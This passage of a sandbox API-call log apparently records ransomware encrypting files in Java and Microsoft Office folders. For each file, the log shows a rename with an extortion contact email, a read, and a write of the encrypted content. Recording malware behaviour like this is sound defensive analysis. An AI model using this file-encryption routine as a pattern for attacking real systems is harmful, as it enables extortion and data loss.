dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0131.541] CloseHandle (hObject=0x6e4) returned 1 [0131.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PYCCPF~1.FIR")) returned 0x6d4e00 [0131.542] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0131.542] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0131.542] GetProcessHeap () returned 0x630000 [0131.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f28608 [0131.543] GetProcessHeap () returned 0x630000 [0131.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c500 [0131.543] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.543] ReadFile (in: hFile=0x6e4, lpBuffer=0x6f28608, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f28608*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.213] GetProcessHeap () returned 0x630000 [0139.213] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0139.213] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.213] WriteFile (in: hFile=0x6e4, lpBuffer=0x70c500*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c500*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.214] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.214] WriteFile (in: hFile=0x6e4, lpBuffer=0x7178ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7178ff*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0140.393] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.393] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0140.393] CloseHandle (hObject=0x6e4) returned 1 [0140.393] GetProcessHeap () returned 0x630000 [0140.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c500 | out: hHeap=0x630000) returned 1 [0140.399] GetProcessHeap () returned 0x630000 [0140.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f28608 | out: hHeap=0x630000) returned 1 [0140.401] GetProcessHeap () returned 0x630000 [0140.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0140.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0140.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19a23787, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4304e, dwReserved0=0x9f87496, dwReserved1=0x6f28600, cFileName="PYCC.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PYCCPF~1.FIR")) returned 0x6d5480 [0140.402] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0140.402] Sleep (dwMilliseconds=0x1) [0141.253] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms", len=0x4b | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 1 [0141.253] GetProcessHeap () returned 0x630000 [0141.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c68) returned 0x7203db8 [0141.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0143.338] CloseHandle (hObject=0x704) returned 1 [0143.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4c3b14f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4c3b14f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4d1ff59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MODDC7~1.FIR")) returned 0x6d53c0 [0143.761] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0143.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0143.762] GetProcessHeap () returned 0x630000 [0143.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29a1) returned 0x712c90 [0143.762] GetProcessHeap () returned 0x630000 [0143.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29a1) returned 0x6ec0048 [0143.762] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.762] ReadFile (in: hFile=0x704, lpBuffer=0x712c90, nNumberOfBytesToRead=0x2980, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712c90*, lpNumberOfBytesRead=0x6d7ff0c*=0x2980, lpOverlapped=0x0) returned 1 [0145.310] GetProcessHeap () returned 0x630000 [0145.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0145.310] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.310] WriteFile (in: hFile=0x704, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x6d7ff0c*=0x2980, lpOverlapped=0x0) returned 1 [0145.902] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.902] WriteFile (in: hFile=0x704, lpBuffer=0x6ec29c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec29c7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.918] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.918] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.918] CloseHandle (hObject=0x704) returned 1 [0145.918] GetProcessHeap () returned 0x630000 [0145.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0145.918] GetProcessHeap () returned 0x630000 [0145.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712c90 | out: hHeap=0x630000) returned 1 [0145.918] GetProcessHeap () returned 0x630000 [0145.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0145.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4c3b14f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4c3b14f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29af, dwReserved0=0x9f87496, dwReserved1=0x712c88, cFileName="MondoR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MODDC7~1.FIR")) returned 0x6d5280 [0145.919] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.919] Sleep (dwMilliseconds=0x1) [0146.019] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI", len=0x41 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI") returned 1 [0146.019] GetProcessHeap () returned 0x630000 [0146.019] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x276c) returned 0x71f7c78 [0146.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0146.387] CloseHandle (hObject=0x68c) returned 1 [0146.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLPE~2.FIR")) returned 0x6d4f80 [0146.398] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0146.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.398] GetProcessHeap () returned 0x630000 [0146.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa1) returned 0x6ecf488 [0146.398] GetProcessHeap () returned 0x630000 [0146.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa1) returned 0x6fd5068 [0146.399] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.399] ReadFile (in: hFile=0x69c, lpBuffer=0x6ecf488, nNumberOfBytesToRead=0xa80, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf488*, lpNumberOfBytesRead=0x6d7ff0c*=0xa80, lpOverlapped=0x0) returned 1 [0146.410] GetProcessHeap () returned 0x630000 [0146.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0146.410] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.410] WriteFile (in: hFile=0x69c, lpBuffer=0x6fd5068*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd5068*, lpNumberOfBytesWritten=0x6d7ff0c*=0xa80, lpOverlapped=0x0) returned 1 [0146.410] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.411] WriteFile (in: hFile=0x69c, lpBuffer=0x6fd5ae7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd5ae7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.411] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.411] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.411] CloseHandle (hObject=0x69c) returned 1 [0146.411] GetProcessHeap () returned 0x630000 [0146.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd5068 | out: hHeap=0x630000) returned 1 [0146.411] GetProcessHeap () returned 0x630000 [0146.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf488 | out: hHeap=0x630000) returned 1 [0146.411] GetProcessHeap () returned 0x630000 [0146.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0146.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d36ed6a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaab, dwReserved0=0x9f87496, dwReserved1=0x6ecf480, cFileName="OUTLPERF.INI.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLPE~2.FIR")) returned 0x6d5280 [0146.411] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.411] Sleep (dwMilliseconds=0x1) [0146.417] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK", len=0x44 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK") returned 1 [0146.417] GetProcessHeap () returned 0x630000 [0146.417] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26fc) returned 0x71f7c78 [0146.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.417] CloseHandle (hObject=0x708) returned 1 [0146.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~2.FIR")) returned 0x6d54c0 [0146.418] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0146.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.418] GetProcessHeap () returned 0x630000 [0146.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0146.419] GetProcessHeap () returned 0x630000 [0146.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5288 [0146.419] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.419] ReadFile (in: hFile=0x708, lpBuffer=0x6a47d8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesRead=0x6d7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.420] GetProcessHeap () returned 0x630000 [0146.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0146.420] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.420] WriteFile (in: hFile=0x708, lpBuffer=0x6a5288*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5288*, lpNumberOfBytesWritten=0x6d7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.420] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.420] WriteFile (in: hFile=0x708, lpBuffer=0x6a52e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a52e7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.420] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.420] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.420] CloseHandle (hObject=0x708) returned 1 [0146.420] GetProcessHeap () returned 0x630000 [0146.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5288 | out: hHeap=0x630000) returned 1 [0146.421] GetProcessHeap () returned 0x630000 [0146.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0146.421] GetProcessHeap () returned 0x630000 [0146.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0146.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d395333, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, 